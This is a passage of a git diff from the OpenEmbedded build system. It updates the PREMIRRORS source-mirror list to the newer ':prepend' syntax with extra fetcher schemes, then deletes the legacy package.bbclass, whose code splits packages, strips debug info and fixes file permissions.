-PREMIRRORS_prepend = " \
-cvs://.*/.* ${SOURCE_MIRROR_URL} \n \
-svn://.*/.* ${SOURCE_MIRROR_URL} \n \
-git://.*/.* ${SOURCE_MIRROR_URL} \n \
-gitsm://.*/.* ${SOURCE_MIRROR_URL} \n \
-hg://.*/.* ${SOURCE_MIRROR_URL} \n \
-bzr://.*/.* ${SOURCE_MIRROR_URL} \n \
-p4://.*/.* ${SOURCE_MIRROR_URL} \n \
-osc://.*/.* ${SOURCE_MIRROR_URL} \n \
-https?$://.*/.* ${SOURCE_MIRROR_URL} \n \
-ftp://.*/.* ${SOURCE_MIRROR_URL} \n \
-npm://.*/?.* ${SOURCE_MIRROR_URL} \n \
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+PREMIRRORS:prepend = " \
+cvs://.*/.* ${SOURCE_MIRROR_URL} \
+svn://.*/.* ${SOURCE_MIRROR_URL} \
+git://.*/.* ${SOURCE_MIRROR_URL} \
+gitsm://.*/.* ${SOURCE_MIRROR_URL} \
+hg://.*/.* ${SOURCE_MIRROR_URL} \
+bzr://.*/.* ${SOURCE_MIRROR_URL} \
+p4://.*/.* ${SOURCE_MIRROR_URL} \
+osc://.*/.* ${SOURCE_MIRROR_URL} \
+https?://.*/.* ${SOURCE_MIRROR_URL} \
+ftp://.*/.* ${SOURCE_MIRROR_URL} \
+npm://.*/?.* ${SOURCE_MIRROR_URL} \
+s3://.*/.* ${SOURCE_MIRROR_URL} \
+crate://.*/.* ${SOURCE_MIRROR_URL} \
+gs://.*/.* ${SOURCE_MIRROR_URL} \
"
diff --git a/meta/classes/package.bbclass b/meta/classes/package.bbclass
deleted file mode 100644
index f8dc1bb468..0000000000
--- a/meta/classes/package.bbclass
+++ /dev/null
@@ -1,2439 +0,0 @@
-#
-# Packaging process
-#
-# Executive summary: This class iterates over the functions listed in PACKAGEFUNCS
-# Taking D and splitting it up into the packages listed in PACKAGES, placing the
-# resulting output in PKGDEST.
-#
-# There are the following default steps but PACKAGEFUNCS can be extended:
-#
-# a) package_get_auto_pr - get PRAUTO from remote PR service
-#
-# b) perform_packagecopy - Copy D into PKGD
-#
-# c) package_do_split_locales - Split out the locale files, updates FILES and PACKAGES
-#
-# d) split_and_strip_files - split the files into runtime and debug and strip them.
-# Debug files include debug info split, and associated sources that end up in -dbg packages
-#
-# e) fixup_perms - Fix up permissions in the package before we split it.
-#
-# f) populate_packages - Split the files in PKGD into separate packages in PKGDEST/<pkgname>
-# Also triggers the binary stripping code to put files in -dbg packages.
-#
-# g) package_do_filedeps - Collect perfile run-time dependency metadata
-# The data is stores in FILER{PROVIDES,DEPENDS}_file_pkg variables with
-# a list of affected files in FILER{PROVIDES,DEPENDS}FLIST_pkg
-#
-# h) package_do_shlibs - Look at the shared libraries generated and autotmatically add any
-# dependencies found. Also stores the package name so anyone else using this library
-# knows which package to depend on.
-#
-# i) package_do_pkgconfig - Keep track of which packages need and provide which .pc files
-#
-# j) read_shlibdeps - Reads the stored shlibs information into the metadata
-#
-# k) package_depchains - Adds automatic dependencies to -dbg and -dev packages
-#
-# l) emit_pkgdata - saves the packaging data into PKGDATA_DIR for use in later
-# packaging steps
-
-inherit packagedata
-inherit chrpath
-inherit package_pkgdata
-
-# Need the package_qa_handle_error() in insane.bbclass
-inherit insane
-
-PKGD = "${WORKDIR}/package"
-PKGDEST = "${WORKDIR}/packages-split"
-
-LOCALE_SECTION ?= ''
-
-ALL_MULTILIB_PACKAGE_ARCHS = "${@all_multilib_tune_values(d, 'PACKAGE_ARCHS')}"
-
-# rpm is used for the per-file dependency identification
-# dwarfsrcfiles is used to determine the list of debug source files
-PACKAGE_DEPENDS += "rpm-native dwarfsrcfiles-native"
-
-
-# If your postinstall can execute at rootfs creation time rather than on
-# target but depends on a native/cross tool in order to execute, you need to
-# list that tool in PACKAGE_WRITE_DEPS. Target package dependencies belong
-# in the package dependencies as normal, this is just for native/cross support
-# tools at rootfs build time.
-PACKAGE_WRITE_DEPS ??= ""
-
-def legitimize_package_name(s):
- """
- Make sure package names are legitimate strings
- """
- import re
-
- def fixutf(m):
- cp = m.group(1)
- if cp:
- return ('\\u%s' % cp).encode('latin-1').decode('unicode_escape')
-
- # Handle unicode codepoints encoded as <U0123>, as in glibc locale files.
- s = re.sub(r'<U([0-9A-Fa-f]{1,4})>', fixutf, s)
-
- # Remaining package name validity fixes
- return s.lower().replace('_', '-').replace('@', '+').replace(',', '+').replace('/', '-')
-
-def do_split_packages(d, root, file_regex, output_pattern, description, postinst=None, recursive=False, hook=None, extra_depends=None, aux_files_pattern=None, postrm=None, allow_dirs=False, prepend=False, match_path=False, aux_files_pattern_verbatim=None, allow_links=False, summary=None):
- """
- Used in .bb files to split up dynamically generated subpackages of a
- given package, usually plugins or modules.
-
- Arguments:
- root -- the path in which to search
- file_regex -- regular expression to match searched files. Use
- parentheses () to mark the part of this expression
- that should be used to derive the module name (to be
- substituted where %s is used in other function
- arguments as noted below)
- output_pattern -- pattern to use for the package names. Must include %s.
- description -- description to set for each package. Must include %s.
- postinst -- postinstall script to use for all packages (as a
- string)
- recursive -- True to perform a recursive search - default False
- hook -- a hook function to be called for every match. The
- function will be called with the following arguments
- (in the order listed):
- f: full path to the file/directory match
- pkg: the package name
- file_regex: as above
- output_pattern: as above
- modulename: the module name derived using file_regex
- extra_depends -- extra runtime dependencies (RDEPENDS) to be set for
- all packages. The default value of None causes a
- dependency on the main package (${PN}) - if you do
- not want this, pass '' for this parameter.
- aux_files_pattern -- extra item(s) to be added to FILES for each
- package. Can be a single string item or a list of
- strings for multiple items. Must include %s.
- postrm -- postrm script to use for all packages (as a string)
- allow_dirs -- True allow directories to be matched - default False
- prepend -- if True, prepend created packages to PACKAGES instead
- of the default False which appends them
- match_path -- match file_regex on the whole relative path to the
- root rather than just the file name
- aux_files_pattern_verbatim -- extra item(s) to be added to FILES for
- each package, using the actual derived module name
- rather than converting it to something legal for a
- package name. Can be a single string item or a list
- of strings for multiple items. Must include %s.
- allow_links -- True to allow symlinks to be matched - default False
- summary -- Summary to set for each package. Must include %s;
- defaults to description if not set.
-
- """
-
- dvar = d.getVar('PKGD')
- root = d.expand(root)
- output_pattern = d.expand(output_pattern)
- extra_depends = d.expand(extra_depends)
-
- # If the root directory doesn't exist, don't error out later but silently do
- # no splitting.
- if not os.path.exists(dvar + root):
- return []
-
- ml = d.getVar("MLPREFIX")
- if ml:
- if not output_pattern.startswith(ml):
- output_pattern = ml + output_pattern
-
- newdeps = []
- for dep in (extra_depends or "").split():
- if dep.startswith(ml):
- newdeps.append(dep)
- else:
- newdeps.append(ml + dep)
- if newdeps:
- extra_depends = " ".join(newdeps)
-
-
- packages = d.getVar('PACKAGES').split()
- split_packages = set()
-
- if postinst:
- postinst = '#!/bin/sh\n' + postinst + '\n'
- if postrm:
- postrm = '#!/bin/sh\n' + postrm + '\n'
- if not recursive:
- objs = os.listdir(dvar + root)
- else:
- objs = []
- for walkroot, dirs, files in os.walk(dvar + root):
- for file in files:
- relpath = os.path.join(walkroot, file).replace(dvar + root + '/', '', 1)
- if relpath:
- objs.append(relpath)
-
- if extra_depends == None:
- extra_depends = d.getVar("PN")
-
- if not summary:
- summary = description
-
- for o in sorted(objs):
- import re, stat
- if match_path:
- m = re.match(file_regex, o)
- else:
- m = re.match(file_regex, os.path.basename(o))
-
- if not m:
- continue
- f = os.path.join(dvar + root, o)
- mode = os.lstat(f).st_mode
- if not (stat.S_ISREG(mode) or (allow_links and stat.S_ISLNK(mode)) or (allow_dirs and stat.S_ISDIR(mode))):
- continue
- on = legitimize_package_name(m.group(1))
- pkg = output_pattern % on
- split_packages.add(pkg)
- if not pkg in packages:
- if prepend:
- packages = [pkg] + packages
- else:
- packages.append(pkg)
- oldfiles = d.getVar('FILES_' + pkg)
- newfile = os.path.join(root, o)
- # These names will be passed through glob() so if the filename actually
- # contains * or ? (rare, but possible) we need to handle that specially
- newfile = newfile.replace('*', '[*]')
- newfile = newfile.replace('?', '[?]')
- if not oldfiles:
- the_files = [newfile]
- if aux_files_pattern:
- if type(aux_files_pattern) is list:
- for fp in aux_files_pattern:
- the_files.append(fp % on)
- else:
- the_files.append(aux_files_pattern % on)
- if aux_files_pattern_verbatim:
- if type(aux_files_pattern_verbatim) is list:
- for fp in aux_files_pattern_verbatim:
- the_files.append(fp % m.group(1))
- else:
- the_files.append(aux_files_pattern_verbatim % m.group(1))
- d.setVar('FILES_' + pkg, " ".join(the_files))
- else:
- d.setVar('FILES_' + pkg, oldfiles + " " + newfile)
- if extra_depends != '':
- d.appendVar('RDEPENDS_' + pkg, ' ' + extra_depends)
- if not d.getVar('DESCRIPTION_' + pkg):
- d.setVar('DESCRIPTION_' + pkg, description % on)
- if not d.getVar('SUMMARY_' + pkg):
- d.setVar('SUMMARY_' + pkg, summary % on)
- if postinst:
- d.setVar('pkg_postinst_' + pkg, postinst)
- if postrm:
- d.setVar('pkg_postrm_' + pkg, postrm)
- if callable(hook):
- hook(f, pkg, file_regex, output_pattern, m.group(1))
-
- d.setVar('PACKAGES', ' '.join(packages))
- return list(split_packages)
-
-PACKAGE_DEPENDS += "file-native"
-
-python () {
- if d.getVar('PACKAGES') != '':
- deps = ""
- for dep in (d.getVar('PACKAGE_DEPENDS') or "").split():
- deps += " %s:do_populate_sysroot" % dep
- if d.getVar('PACKAGE_MINIDEBUGINFO') == '1':
- deps += ' xz-native:do_populate_sysroot'
- d.appendVarFlag('do_package', 'depends', deps)
-
- # shlibs requires any DEPENDS to have already packaged for the *.list files
- d.appendVarFlag('do_package', 'deptask', " do_packagedata")
-}
-
-# Get a list of files from file vars by searching files under current working directory
-# The list contains symlinks, directories and normal files.
-def files_from_filevars(filevars):
- import os,glob
- cpath = oe.cachedpath.CachedPath()
- files = []
- for f in filevars:
- if os.path.isabs(f):
- f = '.' + f
- if not f.startswith("./"):
- f = './' + f
- globbed = glob.glob(f)
- if globbed:
- if [ f ] != globbed:
- files += globbed
- continue
- files.append(f)
-
- symlink_paths = []
- for ind, f in enumerate(files):
- # Handle directory symlinks. Truncate path to the lowest level symlink
- parent = ''
- for dirname in f.split('/')[:-1]:
- parent = os.path.join(parent, dirname)
- if dirname == '.':
- continue
- if cpath.islink(parent):
- bb.warn("FILES contains file '%s' which resides under a "
- "directory symlink. Please fix the recipe and use the "
- "real path for the file." % f[1:])
- symlink_paths.append(f)
- files[ind] = parent
- f = parent
- break
-
- if not cpath.islink(f):
- if cpath.isdir(f):
- newfiles = [ os.path.join(f,x) for x in os.listdir(f) ]
- if newfiles:
- files += newfiles
-
- return files, symlink_paths
-
-# Called in package_<rpm,ipk,deb>.bbclass to get the correct list of configuration files
-def get_conffiles(pkg, d):
- pkgdest = d.getVar('PKGDEST')
- root = os.path.join(pkgdest, pkg)
- cwd = os.getcwd()
- os.chdir(root)
-
- conffiles = d.getVar('CONFFILES_%s' % pkg);
- if conffiles == None:
- conffiles = d.getVar('CONFFILES')
- if conffiles == None:
- conffiles = ""
- conffiles = conffiles.split()
- conf_orig_list = files_from_filevars(conffiles)[0]
-
- # Remove links and directories from conf_orig_list to get conf_list which only contains normal files
- conf_list = []
- for f in conf_orig_list:
- if os.path.isdir(f):
- continue
- if os.path.islink(f):
- continue
- if not os.path.exists(f):
- continue
- conf_list.append(f)
-
- # Remove the leading './'
- for i in range(0, len(conf_list)):
- conf_list[i] = conf_list[i][1:]
-
- os.chdir(cwd)
- return conf_list
-
-def checkbuildpath(file, d):
- tmpdir = d.getVar('TMPDIR')
- with open(file) as f:
- file_content = f.read()
- if tmpdir in file_content:
- return True
-
- return False
-
-def parse_debugsources_from_dwarfsrcfiles_output(dwarfsrcfiles_output):
- debugfiles = {}
-
- for line in dwarfsrcfiles_output.splitlines():
- if line.startswith("\t"):
- debugfiles[os.path.normpath(line.split()[0])] = ""
-
- return debugfiles.keys()
-
-def source_info(file, d, fatal=True):
- import subprocess
-
- cmd = ["dwarfsrcfiles", file]
- try:
- output = subprocess.check_output(cmd, universal_newlines=True, stderr=subprocess.STDOUT)
- retval = 0
- except subprocess.CalledProcessError as exc:
- output = exc.output
- retval = exc.returncode
-
- # 255 means a specific file wasn't fully parsed to get the debug file list, which is not a fatal failure
- if retval != 0 and retval != 255:
- msg = "dwarfsrcfiles failed with exit code %s (cmd was %s)%s" % (retval, cmd, ":\n%s" % output if output else "")
- if fatal:
- bb.fatal(msg)
- bb.note(msg)
-
- debugsources = parse_debugsources_from_dwarfsrcfiles_output(output)
-
- return list(debugsources)
-
-def splitdebuginfo(file, dvar, debugdir, debuglibdir, debugappend, debugsrcdir, d):
- # Function to split a single file into two components, one is the stripped
- # target system binary, the other contains any debugging information. The
- # two files are linked to reference each other.
- #
- # return a mapping of files:debugsources
-
- import stat
- import subprocess
-
- src = file[len(dvar):]
- dest = debuglibdir + os.path.dirname(src) + debugdir + "/" + os.path.basename(src) + debugappend
- debugfile = dvar + dest
- sources = []
-
- # Split the file...
- bb.utils.mkdirhier(os.path.dirname(debugfile))
- #bb.note("Split %s -> %s" % (file, debugfile))
- # Only store off the hard link reference if we successfully split!
-
- dvar = d.getVar('PKGD')
- objcopy = d.getVar("OBJCOPY")
-
- # We ignore kernel modules, we don't generate debug info files.
- if file.find("/lib/modules/") != -1 and file.endswith(".ko"):
- return (file, sources)
-
- newmode = None
- if not os.access(file, os.W_OK) or os.access(file, os.R_OK):
- origmode = os.stat(file)[stat.ST_MODE]
- newmode = origmode | stat.S_IWRITE | stat.S_IREAD
- os.chmod(file, newmode)
-
- # We need to extract the debug src information here...
- if debugsrcdir:
- sources = source_info(file, d)
-
- bb.utils.mkdirhier(os.path.dirname(debugfile))
-
- subprocess.check_output([objcopy, '--only-keep-debug', file, debugfile], stderr=subprocess.STDOUT)
-
- # Set the debuglink to have the view of the file path on the target
- subprocess.check_output([objcopy, '--add-gnu-debuglink', debugfile, file], stderr=subprocess.STDOUT)
-
- if newmode:
- os.chmod(file, origmode)
-
- return (file, sources)
-
-def splitstaticdebuginfo(file, dvar, debugstaticdir, debugstaticlibdir, debugstaticappend, debugsrcdir, d):
- # Unlike the function above, there is no way to split a static library
- # two components. So to get similar results we will copy the unmodified
- # static library (containing the debug symbols) into a new directory.
- # We will then strip (preserving symbols) the static library in the
- # typical location.
- #
- # return a mapping of files:debugsources
-
- import stat
- import shutil
-
- src = file[len(dvar):]
- dest = debugstaticlibdir + os.path.dirname(src) + debugstaticdir + "/" + os.path.basename(src) + debugstaticappend
- debugfile = dvar + dest
- sources = []
-
- # Copy the file...
- bb.utils.mkdirhier(os.path.dirname(debugfile))
- #bb.note("Copy %s -> %s" % (file, debugfile))
-
- dvar = d.getVar('PKGD')
-
- newmode = None
- if not os.access(file, os.W_OK) or os.access(file, os.R_OK):
- origmode = os.stat(file)[stat.ST_MODE]
- newmode = origmode | stat.S_IWRITE | stat.S_IREAD
- os.chmod(file, newmode)
-
- # We need to extract the debug src information here...
- if debugsrcdir:
- sources = source_info(file, d)
-
- bb.utils.mkdirhier(os.path.dirname(debugfile))
-
- # Copy the unmodified item to the debug directory
- shutil.copy2(file, debugfile)
-
- if newmode:
- os.chmod(file, origmode)
-
- return (file, sources)
-
-def inject_minidebuginfo(file, dvar, debugdir, debuglibdir, debugappend, debugsrcdir, d):
- # Extract just the symbols from debuginfo into minidebuginfo,
- # compress it with xz and inject it back into the binary in a .gnu_debugdata section.
- # https://sourceware.org/gdb/onlinedocs/gdb/MiniDebugInfo.html
-
- import subprocess
-
- readelf = d.getVar('READELF')
- nm = d.getVar('NM')
- objcopy = d.getVar('OBJCOPY')
-
- minidebuginfodir = d.expand('${WORKDIR}/minidebuginfo')
-
- src = file[len(dvar):]
- dest = debuglibdir + os.path.dirname(src) + debugdir + "/" + os.path.basename(src) + debugappend
- debugfile = dvar + dest
- minidebugfile = minidebuginfodir + src + '.minidebug'
- bb.utils.mkdirhier(os.path.dirname(minidebugfile))
-
- # If we didn't produce debuginfo for any reason, we can't produce minidebuginfo either
- # so skip it.
- if not os.path.exists(debugfile):
- bb.debug(1, 'ELF file {} has no debuginfo, skipping minidebuginfo injection'.format(file))
- return
-
- # Find non-allocated PROGBITS, NOTE, and NOBITS sections in the debuginfo.
- # We will exclude all of these from minidebuginfo to save space.
- remove_section_names = []
- for line in subprocess.check_output([readelf, '-W', '-S', debugfile], universal_newlines=True).splitlines():
- fields = line.split()
- if len(fields) < 8:
- continue
- name = fields[0]
- type = fields[1]
- flags = fields[7]
- # .debug_ sections will be removed by objcopy -S so no need to explicitly remove them
- if name.startswith('.debug_'):
- continue
- if 'A' not in flags and type in ['PROGBITS', 'NOTE', 'NOBITS']:
- remove_section_names.append(name)
-
- # List dynamic symbols in the binary. We can exclude these from minidebuginfo
- # because they are always present in the binary.
- dynsyms = set()
- for line in subprocess.check_output([nm, '-D', file, '--format=posix', '--defined-only'], universal_newlines=True).splitlines():
- dynsyms.add(line.split()[0])
-
- # Find all function symbols from debuginfo which aren't in the dynamic symbols table.
- # These are the ones we want to keep in minidebuginfo.
- keep_symbols_file = minidebugfile + '.symlist'
- found_any_symbols = False
- with open(keep_symbols_file, 'w') as f:
- for line in subprocess.check_output([nm, debugfile, '--format=sysv', '--defined-only'], universal_newlines=True).splitlines():
- fields = line.split('|')
- if len(fields) < 7:
- continue
- name = fields[0].strip()
- type = fields[3].strip()
- if type == 'FUNC' and name not in dynsyms:
- f.write('{}\n'.format(name))
- found_any_symbols = True
-
- if not found_any_symbols:
- bb.debug(1, 'ELF file {} contains no symbols, skipping minidebuginfo injection'.format(file))
- return
-
- bb.utils.remove(minidebugfile)
- bb.utils.remove(minidebugfile + '.xz')
-
- subprocess.check_call([objcopy, '-S'] +
- ['--remove-section={}'.format(s) for s in remove_section_names] +
- ['--keep-symbols={}'.format(keep_symbols_file), debugfile, minidebugfile])
-
- subprocess.check_call(['xz', '--keep', minidebugfile])
-
- subprocess.check_call([objcopy, '--add-section', '.gnu_debugdata={}.xz'.format(minidebugfile), file])
-
-def copydebugsources(debugsrcdir, sources, d):
- # The debug src information written out to sourcefile is further processed
- # and copied to the destination here.
-
- import stat
- import subprocess
-
- if debugsrcdir and sources:
- sourcefile = d.expand("${WORKDIR}/debugsources.list")
- bb.utils.remove(sourcefile)
-
- # filenames are null-separated - this is an artefact of the previous use
- # of rpm's debugedit, which was writing them out that way, and the code elsewhere
- # is still assuming that.
- debuglistoutput = '\0'.join(sources) + '\0'
- with open(sourcefile, 'a') as sf:
- sf.write(debuglistoutput)
-
- dvar = d.getVar('PKGD')
- strip = d.getVar("STRIP")
- objcopy = d.getVar("OBJCOPY")
- workdir = d.getVar("WORKDIR")
- workparentdir = os.path.dirname(os.path.dirname(workdir))
- workbasedir = os.path.basename(os.path.dirname(workdir)) + "/" + os.path.basename(workdir)
-
- # If build path exists in sourcefile, it means toolchain did not use
- # -fdebug-prefix-map to compile
- if checkbuildpath(sourcefile, d):
- localsrc_prefix = workparentdir + "/"
- else:
- localsrc_prefix = "/usr/src/debug/"
-
- nosuchdir = []
- basepath = dvar
- for p in debugsrcdir.split("/"):
- basepath = basepath + "/" + p
- if not cpath.exists(basepath):
- nosuchdir.append(basepath)
- bb.utils.mkdirhier(basepath)
- cpath.updatecache(basepath)
-
- # Ignore files from the recipe sysroots (target and native)
- processdebugsrc = "LC_ALL=C ; sort -z -u '%s' | egrep -v -z '((<internal>|<built-in>)$|/.*recipe-sysroot.*/)' | "
- # We need to ignore files that are not actually ours
- # we do this by only paying attention to items from this package
- processdebugsrc += "fgrep -zw '%s' | "
- # Remove prefix in the source paths
- processdebugsrc += "sed 's#%s##g' | "
- processdebugsrc += "(cd '%s' ; cpio -pd0mlL --no-preserve-owner '%s%s' 2>/dev/null)"
-
- cmd = processdebugsrc % (sourcefile, workbasedir, localsrc_prefix, workparentdir, dvar, debugsrcdir)
- try:
- subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
- except subprocess.CalledProcessError:
- # Can "fail" if internal headers/transient sources are attempted
- pass
-
- # cpio seems to have a bug with -lL together and symbolic links are just copied, not dereferenced.
- # Work around this by manually finding and copying any symbolic links that made it through.
- cmd = "find %s%s -type l -print0 -delete | sed s#%s%s/##g | (cd '%s' ; cpio -pd0mL --no-preserve-owner '%s%s')" % \
- (dvar, debugsrcdir, dvar, debugsrcdir, workparentdir, dvar, debugsrcdir)
- subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
-
- # The copy by cpio may have resulted in some empty directories! Remove these
- cmd = "find %s%s -empty -type d -delete" % (dvar, debugsrcdir)
- subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
-
- # Also remove debugsrcdir if its empty
- for p in nosuchdir[::-1]:
- if os.path.exists(p) and not os.listdir(p):
- os.rmdir(p)
-
-#
-# Package data handling routines
-#
-
-def get_package_mapping (pkg, basepkg, d, depversions=None):
- import oe.packagedata
-
- data = oe.packagedata.read_subpkgdata(pkg, d)
- key = "PKG_%s" % pkg
-
- if key in data:
- # Have to avoid undoing the write_extra_pkgs(global_variants...)
- if bb.data.inherits_class('allarch', d) and not d.getVar('MULTILIB_VARIANTS') \
- and data[key] == basepkg:
- return pkg
- if depversions == []:
- # Avoid returning a mapping if the renamed package rprovides its original name
- rprovkey = "RPROVIDES_%s" % pkg
- if rprovkey in data:
- if pkg in bb.utils.explode_dep_versions2(data[rprovkey]):
- bb.note("%s rprovides %s, not replacing the latter" % (data[key], pkg))
- return pkg
- # Do map to rewritten package name
- return data[key]
-
- return pkg
-
-def get_package_additional_metadata (pkg_type, d):
- base_key = "PACKAGE_ADD_METADATA"
- for key in ("%s_%s" % (base_key, pkg_type.upper()), base_key):
- if d.getVar(key, False) is None:
- continue
- d.setVarFlag(key, "type", "list")
- if d.getVarFlag(key, "separator") is None:
- d.setVarFlag(key, "separator", "\\n")
- metadata_fields = [field.strip() for field in oe.data.typed_value(key, d)]
- return "\n".join(metadata_fields).strip()
-
-def runtime_mapping_rename (varname, pkg, d):
- #bb.note("%s before: %s" % (varname, d.getVar(varname)))
-
- new_depends = {}
- deps = bb.utils.explode_dep_versions2(d.getVar(varname) or "")
- for depend, depversions in deps.items():
- new_depend = get_package_mapping(depend, pkg, d, depversions)
- if depend != new_depend:
- bb.note("package name mapping done: %s -> %s" % (depend, new_depend))
- new_depends[new_depend] = deps[depend]
-
- d.setVar(varname, bb.utils.join_deps(new_depends, commasep=False))
-
- #bb.note("%s after: %s" % (varname, d.getVar(varname)))
-
-#
-# Package functions suitable for inclusion in PACKAGEFUNCS
-#
-
-python package_get_auto_pr() {
- import oe.prservice
- import re
-
- # Support per recipe PRSERV_HOST
- pn = d.getVar('PN')
- host = d.getVar("PRSERV_HOST_" + pn)
- if not (host is None):
- d.setVar("PRSERV_HOST", host)
-
- pkgv = d.getVar("PKGV")
-
- # PR Server not active, handle AUTOINC
- if not d.getVar('PRSERV_HOST'):
- if 'AUTOINC' in pkgv:
- d.setVar("PKGV", pkgv.replace("AUTOINC", "0"))
- return
-
- auto_pr = None
- pv = d.getVar("PV")
- version = d.getVar("PRAUTOINX")
- pkgarch = d.getVar("PACKAGE_ARCH")
- checksum = d.getVar("BB_TASKHASH")
-
- if d.getVar('PRSERV_LOCKDOWN'):
- auto_pr = d.getVar('PRAUTO_' + version + '_' + pkgarch) or d.getVar('PRAUTO_' + version) or None
- if auto_pr is None:
- bb.fatal("Can NOT get PRAUTO from lockdown exported file")
- d.setVar('PRAUTO',str(auto_pr))
- return
-
- try:
- conn = d.getVar("__PRSERV_CONN")
- if conn is None:
- conn = oe.prservice.prserv_make_conn(d)
- if conn is not None:
- if "AUTOINC" in pkgv:
- srcpv = bb.fetch2.get_srcrev(d)
- base_ver = "AUTOINC-%s" % version[:version.find(srcpv)]
- value = conn.getPR(base_ver, pkgarch, srcpv)
- d.setVar("PKGV", pkgv.replace("AUTOINC", str(value)))
-
- auto_pr = conn.getPR(version, pkgarch, checksum)
- except Exception as e:
- bb.fatal("Can NOT get PRAUTO, exception %s" % str(e))
- if auto_pr is None:
- bb.fatal("Can NOT get PRAUTO from remote PR service")
- d.setVar('PRAUTO',str(auto_pr))
-}
-
-LOCALEBASEPN ??= "${PN}"
-
-python package_do_split_locales() {
- if (d.getVar('PACKAGE_NO_LOCALE') == '1'):
- bb.debug(1, "package requested not splitting locales")
- return
-
- packages = (d.getVar('PACKAGES') or "").split()
-
- datadir = d.getVar('datadir')
- if not datadir:
- bb.note("datadir not defined")
- return
-
- dvar = d.getVar('PKGD')
- pn = d.getVar('LOCALEBASEPN')
-
- if pn + '-locale' in packages:
- packages.remove(pn + '-locale')
-
- localedir = os.path.join(dvar + datadir, 'locale')
-
- if not cpath.isdir(localedir):
- bb.debug(1, "No locale files in this package")
- return
-
- locales = os.listdir(localedir)
-
- summary = d.getVar('SUMMARY') or pn
- description = d.getVar('DESCRIPTION') or ""
- locale_section = d.getVar('LOCALE_SECTION')
- mlprefix = d.getVar('MLPREFIX') or ""
- for l in sorted(locales):
- ln = legitimize_package_name(l)
- pkg = pn + '-locale-' + ln
- packages.append(pkg)
- d.setVar('FILES_' + pkg, os.path.join(datadir, 'locale', l))
- d.setVar('RRECOMMENDS_' + pkg, '%svirtual-locale-%s' % (mlprefix, ln))
- d.setVar('RPROVIDES_' + pkg, '%s-locale %s%s-translation' % (pn, mlprefix, ln))
- d.setVar('SUMMARY_' + pkg, '%s - %s translations' % (summary, l))
- d.setVar('DESCRIPTION_' + pkg, '%s This package contains language translation files for the %s locale.' % (description, l))
- if locale_section:
- d.setVar('SECTION_' + pkg, locale_section)
-
- d.setVar('PACKAGES', ' '.join(packages))
-
- # Disabled by RP 18/06/07
- # Wildcards aren't supported in debian
- # They break with ipkg since glibc-locale* will mean that
- # glibc-localedata-translit* won't install as a dependency
- # for some other package which breaks meta-toolchain
- # Probably breaks since virtual-locale- isn't provided anywhere
- #rdep = (d.getVar('RDEPENDS_%s' % pn) or "").split()
- #rdep.append('%s-locale*' % pn)
- #d.setVar('RDEPENDS_%s' % pn, ' '.join(rdep))
-}
-
-python perform_packagecopy () {
- import subprocess
-
- dest = d.getVar('D')
- dvar = d.getVar('PKGD')
-
- # Start by package population by taking a copy of the installed
- # files to operate on
- # Preserve sparse files and hard links
- cmd = 'tar -cf - -C %s -p -S . | tar -xf - -C %s' % (dest, dvar)
- subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
-
- # replace RPATHs for the nativesdk binaries, to make them relocatable
- if bb.data.inherits_class('nativesdk', d) or bb.data.inherits_class('cross-canadian', d):
- rpath_replace (dvar, d)
-}
-perform_packagecopy[cleandirs] = "${PKGD}"
-perform_packagecopy[dirs] = "${PKGD}"
-
-# We generate a master list of directories to process, we start by
-# seeding this list with reasonable defaults, then load from
-# the fs-perms.txt files
-python fixup_perms () {
- import pwd, grp
-
- # init using a string with the same format as a line as documented in
- # the fs-perms.txt file
- # <path> <mode> <uid> <gid> <walk> <fmode> <fuid> <fgid>
- # <path> link <link target>
- #
- # __str__ can be used to print out an entry in the input format
- #
- # if fs_perms_entry.path is None:
- # an error occurred
- # if fs_perms_entry.link, you can retrieve:
- # fs_perms_entry.path = path
- # fs_perms_entry.link = target of link
- # if not fs_perms_entry.link, you can retrieve:
- # fs_perms_entry.path = path
- # fs_perms_entry.mode = expected dir mode or None
- # fs_perms_entry.uid = expected uid or -1
- # fs_perms_entry.gid = expected gid or -1
- # fs_perms_entry.walk = 'true' or something else
- # fs_perms_entry.fmode = expected file mode or None
- # fs_perms_entry.fuid = expected file uid or -1
- # fs_perms_entry_fgid = expected file gid or -1
- class fs_perms_entry():
- def __init__(self, line):
- lsplit = line.split()
- if len(lsplit) == 3 and lsplit[1].lower() == "link":
- self._setlink(lsplit[0], lsplit[2])
- elif len(lsplit) == 8:
- self._setdir(lsplit[0], lsplit[1], lsplit[2], lsplit[3], lsplit[4], lsplit[5], lsplit[6], lsplit[7])
- else:
- msg = "Fixup Perms: invalid config line %s" % line
- package_qa_handle_error("perm-config", msg, d)
- self.path = None
- self.link = None
-
- def _setdir(self, path, mode, uid, gid, walk, fmode, fuid, fgid):
- self.path = os.path.normpath(path)
- self.link = None
- self.mode = self._procmode(mode)
- self.uid = self._procuid(uid)
- self.gid = self._procgid(gid)
- self.walk = walk.lower()
- self.fmode = self._procmode(fmode)
- self.fuid = self._procuid(fuid)
- self.fgid = self._procgid(fgid)
-
- def _setlink(self, path, link):
- self.path = os.path.normpath(path)
- self.link = link
-
- def _procmode(self, mode):
- if not mode or (mode and mode == "-"):
- return None
- else:
- return int(mode,8)
-
- # Note uid/gid -1 has special significance in os.lchown
- def _procuid(self, uid):
- if uid is None or uid == "-":
- return -1
- elif uid.isdigit():
- return int(uid)
- else:
- return pwd.getpwnam(uid).pw_uid
-
- def _procgid(self, gid):
- if gid is None or gid == "-":
- return -1
- elif gid.isdigit():
- return int(gid)
- else:
- return grp.getgrnam(gid).gr_gid
-
- # Use for debugging the entries
- def __str__(self):
- if self.link:
- return "%s link %s" % (self.path, self.link)
- else:
- mode = "-"
- if self.mode:
- mode = "0%o" % self.mode
- fmode = "-"
- if self.fmode:
- fmode = "0%o" % self.fmode
- uid = self._mapugid(self.uid)
- gid = self._mapugid(self.gid)
- fuid = self._mapugid(self.fuid)
- fgid = self._mapugid(self.fgid)
- return "%s %s %s %s %s %s %s %s" % (self.path, mode, uid, gid, self.walk, fmode, fuid, fgid)
-
- def _mapugid(self, id):
- if id is None or id == -1:
- return "-"
- else:
- return "%d" % id
-
- # Fix the permission, owner and group of path
- def fix_perms(path, mode, uid, gid, dir):
- if mode and not os.path.islink(path):
- #bb.note("Fixup Perms: chmod 0%o %s" % (mode, dir))
- os.chmod(path, mode)
- # -1 is a special value that means don't change the uid/gid
